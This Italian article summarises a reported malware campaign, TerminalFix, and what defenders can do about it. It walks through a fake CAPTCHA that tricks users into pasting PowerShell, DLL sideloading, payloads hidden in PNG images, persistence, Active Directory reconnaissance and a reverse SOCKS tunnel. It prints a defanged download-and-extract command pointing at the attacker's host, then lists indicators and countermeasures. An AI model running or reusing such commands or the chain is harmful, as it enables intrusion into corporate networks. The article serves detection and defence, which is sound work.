Da fine agosto 2026 Microsoft Threat Intelligence sta monitorando una campagna che porta il nome interno di TerminalFix: una variante evoluta della tecnica ClickFix, in cui l’utente viene convinto a “risolvere” da solo una verifica anti-bot incollando ed eseguendo un comando nel terminale di Windows. A differenza delle precedenti ondate ClickFix, che si limitavano a piazzare un infostealer, questa campagna costruisce una catena multi-stadio con DLL sideloading, steganografia e un tunnel di rete inverso completo. Per chi gestisce endpoint aziendali è un caso di studio da conoscere a fondo, perché la superficie di attacco non è una vulnerabilità software, ma il comportamento umano davanti a un prompt che sembra legittimo.
Cos’è la tecnica ClickFix e perché funziona ancora
ClickFix sfrutta un principio semplice: gli utenti sono ormai abituati a superare verifica CAPTCHA, quindi un overlay che imita Cloudflare Turnstile o un servizio simile non desta sospetti. La particolarità è che l’overlay non chiede di cliccare una casella, ma guida la vittima a premere Win+R, incollare un comando (già copiato negli appunti dal sito malevolo tramite JavaScript) e premere Invio. In questo modo l’attaccante bypassa i controlli sui download dai browser: non c’è un eseguibile da salvare e aprire, solo testo incollato in una finestra di dialogo che l’utente stesso avvia.
La catena di attacco di TerminalFix, passo dopo passo
Secondo l’analisi pubblicata da Microsoft Security, la campagna si sviluppa in otto fasi distinte, orchestrate per restare sotto la soglia di rilevamento della maggior parte degli endpoint protection tradizionali.
1. Il sito compromesso e il falso Cloudflare
La vittima visita un sito legittimo ma compromesso (uno degli indicatori è linked-log[.]com) che mostra un overlay identico a una verifica Cloudflare Turnstile. Lo script della pagina cancella il terminale e stampa un messaggio del tipo “Starting Cloudflare verification…”, mentre il comando PowerShell malevolo finisce già negli appunti dell’utente.
2. Download ed estrazione
Il comando incollato scarica un archivio ZIP e lo estrae in una sottocartella casuale di C:\ProgramData, ad esempio:
Invoke-WebRequest -Uri hxxps://gitnow[.]dev/payload.zip -OutFile $env:TEMP\p.zip
Expand-Archive $env:TEMP\p.zip -DestinationPath C:\ProgramData\f47f2a8c21c9df4e
Un file batch nella stessa cartella viene lanciato in modo silenzioso, avviando la fase successiva.
3. DLL sideloading su un binario firmato Microsoft
Qui la campagna mostra la sua sofisticazione: il file batch esegue LockScreenContentServer.exe, un eseguibile Windows legittimo e firmato digitalmente, che al lancio cerca automaticamente dui70.dll nella propria directory prima di controllare System32. L’attaccante sfrutta esattamente questo ordine di ricerca (T1574.001 nel framework MITRE ATT&CK) piazzando una DLL malevola con lo stesso nome accanto al binario firmato. Il codice malevolo parte quindi “dentro” un processo attendibile agli occhi di qualsiasi soluzione basata su reputazione del file firmatario.
4. Steganografia: payload nascosti in immagini PNG
La DLL scarica una o più immagini PNG da server come bestsocialmedianewspapper[.]com ed estrae dati binari nascosti nei canali RGBA dei pixel, con i primi 8 byte che codificano la lunghezza del payload come intero a 64 bit. Suddividere il payload su più immagini rende ancora più difficile il rilevamento a livello di rete, dato che il traffico appare come un semplice download di immagini verso un CDN qualunque.
5. Persistenza doppia
Il malware si assicura la sopravvivenza al riavvio tramite due meccanismi paralleli: una chiave in HKCU\...\Run e un’attività pianificata che rilancia l’eseguibile ogni 60 minuti. La ridondanza serve a resistere anche a una bonifica parziale.
6. Ricognizione dell’ambiente Active Directory
Una volta stabilito, lo script effettua enumerazione del dominio (trust, domain admin), ping sweep dei server interni e raccolta di informazioni di sistema, il tutto orientato a mappare controller di dominio, database, server di backup, gateway e sistemi di posta come obiettivi di movimento laterale.
7-8. Loop di comando e tunnel inverso
Un ciclo di file-watch controlla periodicamente un file di testo per nuovi comandi, li esegue con Invoke-Expression e ne salva l’output. Il collegamento con l’infrastruttura dell’attaccante avviene tramite una copia ufficiale di Python 3.14.5, lanciata con pythonw.exe per restare invisibile, che esegue uno script client custom (client.py). Questo implant stabilisce una connessione TLS con upgrade a WebSocket verso gitnow[.]dev:443 e implementa un proxy TCP in stile SOCKS5: l’attaccante può quindi istruire l’implant a connettersi a qualsiasi host interno raggiungibile dalla macchina compromessa, di fatto trasformandola in un pivot verso la rete aziendale. Lo script ruota anche gli User-Agent tra Chrome, Firefox e Safari per confondersi con il traffico normale.
Indicatori di compromissione principali
- Domini C2/hosting:
gitnow[.]dev(tunnel, porta 443),bestsocialmedianewspapper[.]com(hosting steganografico),offlineupdater[.]com(failover),linked-log[.]com(sito compromesso) - Processo abusato:
LockScreenContentServer.exein esecuzione da percorsi non standard (es.C:\ProgramData\...) - DLL malevola:
dui70.dllcaricata tramite sideloading (nove varianti hash osservate) - Rilevamenti Microsoft Defender:
Trojan:Win32/ClickFix.*,Trojan:Win32/TermFix.*,Trojan:Win64/DLLHijack.DAB!MTB,Trojan:Python/Indigo.SA
Come proteggere l’infrastruttura: checklist operativa
Microsoft e diversi ricercatori indipendenti convergono su un set comune di contromisure, applicabili sia con Microsoft Defender che con altri stack EDR:
- Restringere l’esecuzione di PowerShell con AppLocker o Windows Defender Application Control, limitando gli script non firmati e abilitando il Constrained Language Mode per gli utenti standard.
- Controllare o disabilitare la finestra Esegui (Win+R) tramite policy per gli utenti che non ne hanno necessità operativa, riducendo drasticamente la superficie di attacco di ClickFix.
- Monitorare l’esecuzione di binari LOLBin firmati (come
LockScreenContentServer.exe) da percorsi anomali qualiProgramDataoTemp, non dalla loro directory di sistema abituale. - Abilitare lo script block logging di PowerShell (Event ID 4104) per avere visibilità sui comandi effettivamente eseguiti, non solo sul processo lanciato.
- Attivare le regole ASR (Attack Surface Reduction) che bloccano script offuscati, eseguibili poco diffusi/nuovi e il lancio di contenuti scaricati da JavaScript/VBScript.
- Configurare Windows Terminal per avvisare su incollaggi multi-riga, così da rompere l’automatismo copia-incolla-invio su cui si basa l’intera catena.
- Formare gli utenti spiegando esplicitamente che nessuna verifica CAPTCHA legittima richiede mai di aprire un terminale o una finestra di esecuzione comandi.
- Se vengono rilevati indicatori della campagna, trattare l’host come compromesso a livello di rete: ruotare le credenziali usate su quella macchina (comprese quelle di dominio se sono state inserite) e verificare eventuali connessioni SOCKS anomale verso l’esterno.
Conclusione
TerminalFix conferma una tendenza che i sistemisti dovrebbero già avere sul radar: le tecniche di social engineering come ClickFix non sono più un problema “consumer” legato a infostealer opportunistici, ma vengono usate come testa di ponte per intrusioni enterprise complete, con ricognizione Active Directory e accesso di rete persistente. Il punto debole non è tecnico ma comportamentale, ed è proprio per questo che i controlli più efficaci — blocco di PowerShell non firmato, restrizioni su Win+R, logging degli script — vanno applicati indipendentemente dal fatto che l’endpoint protection riconosca o meno la specifica variante del giorno.
Fonte: Microsoft Security Blog – “TerminalFix campaign deploys reverse tunnel through multistage intrusion”